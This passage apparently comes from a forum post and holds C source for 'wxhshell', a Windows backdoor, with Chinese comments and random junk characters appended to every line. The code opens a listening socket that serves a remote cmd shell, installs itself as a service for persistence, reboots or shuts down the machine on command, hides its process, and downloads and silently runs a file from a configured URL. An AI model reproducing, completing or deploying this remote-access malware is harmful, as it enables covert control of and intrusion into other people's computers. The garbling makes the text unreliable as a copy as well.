  case '?': { uEcK0>xp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jqgo\r%`  
    break; Xe>   
  } Kzf^ras4u  
  // 安装 \K(QE ~y'W  
  case 'i': { hxx`f-#=  
    if(Install()) |aMeh;X t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$y5) ~Q  
    else T$Rj/u t1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BewJ!,A!  
    break; px=r~8M9}  
    } xr).ZswQ  
  // 卸载 >*S ;z+!&  
  case 'r': { o1]ZeF  
    if(Uninstall()) rv;is=#1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /dq(Z"O_  
    else muKCCWy#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -VhxnhS  
    break; Vf] ;hm  
    } +o^sm'$  
  // 显示 wxhshell 所在路径 W+D{4:  
  case 'p': { Ul%D}(,  
    char svExeFile[MAX_PATH]; u$V8fus0  
    strcpy(svExeFile,"\n\r"); I2^ Eo5'  
      strcat(svExeFile,ExeFile); G "`t$=0  
        send(wsh,svExeFile,strlen(svExeFile),0); y?.l9  
    break; |tqYRWn0  
    } KB6`OT^b{r  
  // 重启 4+'d">+|  
  case 'b': { ~Op~~ m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \1mTKw)S  
    if(Boot(REBOOT)) gtlyQ _V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1jEulcMtq  
    else { APM!xX=N  
    closesocket(wsh); JPGEE1!B{b  
    ExitThread(0); @'fWS^ ;&  
    } \:|"qk  
    break; XL!^tMk  
    } G*\U'w4w|*  
  // 关机 ^U[yk'!Y  
  case 'd': { D ~LU3#n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~;P>}|6Y  
    if(Boot(SHUTDOWN)) r"\g6<RP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *e}1KcJ  
    else { Gn} ^BJN  
    closesocket(wsh); 3~6,fTMz{  
    ExitThread(0); )R@M~d-o  
    } [2Ot=t6]  
    break; f5dctDHP  
    } F  uJ=]T  
  // 获取shell sTChbks  
  case 's': { )W.Y{\D0  
    CmdShell(wsh); :elTqw>pn  
    closesocket(wsh); H!vX#  
    ExitThread(0); ]#t5e>o|  
    break; 2X!!RS>qg  
  } {H[3[  
  // 退出 E!zAUEVQm[  
  case 'x': { F`U YgN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $ Ov#^wfA  
    CloseIt(wsh); vQhi2J'  
    break; ^dCSk==  
    } G;Thz  
  // 离开 5B,HJax  
  case 'q': { i8H!4l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EGIwqci:  
    closesocket(wsh); f+W8Gszi  
    WSACleanup(); /woC{J)4p  
    exit(1); l5fF.A7TT  
    break; ! tPHT  
        } :MbD=sX  
  } JBxizJBP  
  } ga+Z6|t  
9o|#R&0  
  // 提示信息 ;|H(_J=6k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8bP4  
} g"o),$tm  
  } oq3{q  
*&sXC@^@^  
  return; l<YCX[%E  
} #RWHk  
kFsq23Ne  
// shell模块句柄 Mh;rhQ  
int CmdShell(SOCKET sock) P|{Et=R`1  
{ *zn=l+c  
STARTUPINFO si; ]53'\TH  
ZeroMemory(&si,sizeof(si)); .vJ t&@NO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H G)c\b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S+Vsy(  
PROCESS_INFORMATION ProcessInfo; xPJ kadu  
char cmdline[]="cmd"; jYi{[* *  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0&k!=gj:>Z  
  return 0; sM8AORd  
} $bv l.c  
TSCc=c  
// 自身启动模式 !ii'hwFm$  
int StartFromService(void) L.M|o  
{ ^vH3 -A;*  
typedef struct #m<<]L(o8W  
{ )ls<"WTC.  
  DWORD ExitStatus; RIQw+RG >  
  DWORD PebBaseAddress; G oJ\6& "  
  DWORD AffinityMask; |#D$9+  
  DWORD BasePriority; K9+C3"*I  
  ULONG UniqueProcessId; m&X6a C'[  
  ULONG InheritedFromUniqueProcessId; l-mf~{   
}   PROCESS_BASIC_INFORMATION; rt7]~W-  
|+0XO?,sZ  
PROCNTQSIP NtQueryInformationProcess; dfoFs&CSKh  
:*wjC.Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kW=GFj)L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r$Z_Kwe.|&  
zz+p6`   
  HANDLE             hProcess; 4z##4^9g  
  PROCESS_BASIC_INFORMATION pbi; 8Qg,UX  
3h|:ew[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O7A W9*<  
  if(NULL == hInst ) return 0; 7>`VZ?  
dq{wFI)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )KLsa`RV:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '~ {xn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W l+[{#  
"7k 82dw  
  if (!NtQueryInformationProcess) return 0; G#pRBA^  
Z$? Ql@M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a|x1aN 0  
  if(!hProcess) return 0; d:"]*EZ [  
ByK!r~>Z1Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]$>O--  
PmGW\E[ni  
  CloseHandle(hProcess); WD^!G;}  
d,G:+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xjOj1Hv  
if(hProcess==NULL) return 0; s=+,F<;x.U  
%`P6a38j  
HMODULE hMod; }!i#1uHUH:  
char procName[255]; ZgcJxWC<  
unsigned long cbNeeded; E,[@jxP  
dT%$"sj5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YFVNkB O%  
!c+Nf2I7S  
  CloseHandle(hProcess); GN4'LU  
v: Av 2y  
if(strstr(procName,"services")) return 1; // 以服务启动 :[1^IH(sb  
' {L5 3cH=  
  return 0; // 注册表启动 (hB&OP5Fne  
} tW%!|T5/  
lLN5***47J  
// 主模块 bH.f4-.u>)  
int StartWxhshell(LPSTR lpCmdLine) oFp4* <\  
{ %APeQy"6#^  
  SOCKET wsl; m*` W&k[  
BOOL val=TRUE; z W*Z  
  int port=0; n(j5dN>]  
  struct sockaddr_in door; 8HL8)G6  
:@^T^  
  if(wscfg.ws_autoins) Install(); HlXEU$e  
dQ_yb+<  
port=atoi(lpCmdLine); VIuzBmR|\  
s\q m  
if(port<=0) port=wscfg.ws_port; #=czqZw  
j9*5Kj  
  WSADATA data; D4PjE@D"H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fDKV`  
0134mw%jk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iV.j!H7o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (`&E^t  
  door.sin_family = AF_INET; C@rIyBj1g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7? qRz  
  door.sin_port = htons(port); K#[ z5  
8 G:f[\^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cR!Mn$m  
closesocket(wsl); 077 wk  
return 1; Sw~L M&A  
} k .W1bF9n6  
zS!+2/(  
  if(listen(wsl,2) == INVALID_SOCKET) { o=Ia{@   
closesocket(wsl); z;PF% F  
return 1; <MgC7S2I  
} C ,#D4  
  Wxhshell(wsl); m&+V@H  
  WSACleanup(); m&k l_f7  
M+Eg{^ q`  
return 0;  t`'5|  
^%}PRl9  
} |J&=h|-A  
2\9OT>  
// 以NT服务方式启动 Io]KlR@!T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "T' QbK0  
{ k;!}nQ&  
DWORD   status = 0; BH2JH>'X  
  DWORD   specificError = 0xfffffff; gi<%: [jT  
eOs4c`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uX~YDy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <E\vc6n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mby V_A`r_  
  serviceStatus.dwWin32ExitCode     = 0; G!g];7PG(  
  serviceStatus.dwServiceSpecificExitCode = 0; ,*g.?q@W2  
  serviceStatus.dwCheckPoint       = 0; :djbZ><  
  serviceStatus.dwWaitHint       = 0; xv 0y?#`z  
;6{{hc4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PQ(/1v   
  if (hServiceStatusHandle==0) return; cD]#6PFA  
yIqRSqM  
status = GetLastError(); aHBM9%gV  
  if (status!=NO_ERROR) +p0Y*.  
{ \x=!'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X oh@(%  
    serviceStatus.dwCheckPoint       = 0; j:xm>X'  
    serviceStatus.dwWaitHint       = 0; (?kCo  
    serviceStatus.dwWin32ExitCode     = status; u^+ (5|  
    serviceStatus.dwServiceSpecificExitCode = specificError; x)-n[Fu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u~\ NL{  
    return; R/kfbV-b  
  } la 89>pF  
tS6r4d%~=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oZ!+._9  
  serviceStatus.dwCheckPoint       = 0; RgLkAHA  
  serviceStatus.dwWaitHint       = 0; s5u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r,cK#!<%  
} ZG1 {"J/z  
1'SpJL1u~  
// 处理NT服务事件,比如:启动、停止 %oiA'hz;*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L?r\J8Ch<  
{ >3)AO04=;  
switch(fdwControl) . /~#  
{ RbJbVFz8C  
case SERVICE_CONTROL_STOP: 2[5z6oG  
  serviceStatus.dwWin32ExitCode = 0; iK9#{1BpML  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T#D*B]oZ}  
  serviceStatus.dwCheckPoint   = 0; 7hfa?Mcz  
  serviceStatus.dwWaitHint     = 0; !E9A=u{  
  { <<+Hs/ ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f4&k48Ds  
  } 5g4xhYl70n  
  return; KhPDkD-  
case SERVICE_CONTROL_PAUSE: l#;o^H i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ ]^<*R  
  break; ,=y8[(h  
case SERVICE_CONTROL_CONTINUE: Oy~X@A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l&6+ykQ  
  break; O%rt7qV"g2  
case SERVICE_CONTROL_INTERROGATE: BH^8!7dkT  
  break; x).`nZ1  
}; ?Fj >7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3R ZD=`  
} &-4SA j  
N="H 06t  
// 标准应用程序主函数 o]m56  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HD9+4~8  
{ 't un;Y  
>y^zagC*  
// 获取操作系统版本 =.f<"P51k  
OsIsNt=GetOsVer();  Dv-ubki  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'EsdYx5C  
7wwlZ;w  
  // 从命令行安装 j!hdi-aTU  
  if(strpbrk(lpCmdLine,"iI")) Install(); cO/.(KBF  
~Is-^k)y  
  // 下载执行文件 h,)UB1  
if(wscfg.ws_downexe) { L+ d4&x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iV8O<en&i  
  WinExec(wscfg.ws_filenam,SW_HIDE); qlIbnyP<  
} +*P;Vb6D  
yZ57uz  
if(!OsIsNt) { !Zma\Ip  
// 如果时win9x,隐藏进程并且设置为注册表启动 ">NPp\t>/Z  
HideProc(); Xw{Qktn  
StartWxhshell(lpCmdLine); TrC :CL  
}  *"K7<S[  
else :h60  
  if(StartFromService()) !L\P.FP7b  
  // 以服务方式启动 R.B3  
  StartServiceCtrlDispatcher(DispatchTable); _ ^cFdP)8|  
else l/o 4bkV  
  // 普通方式启动 wf=M| #}_  
  StartWxhshell(lpCmdLine); o5 |P5h  
?q+^U>wy&  
return 0; u[ 2B0a  
}
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只看该作者 1 发表于: 2006-10-10
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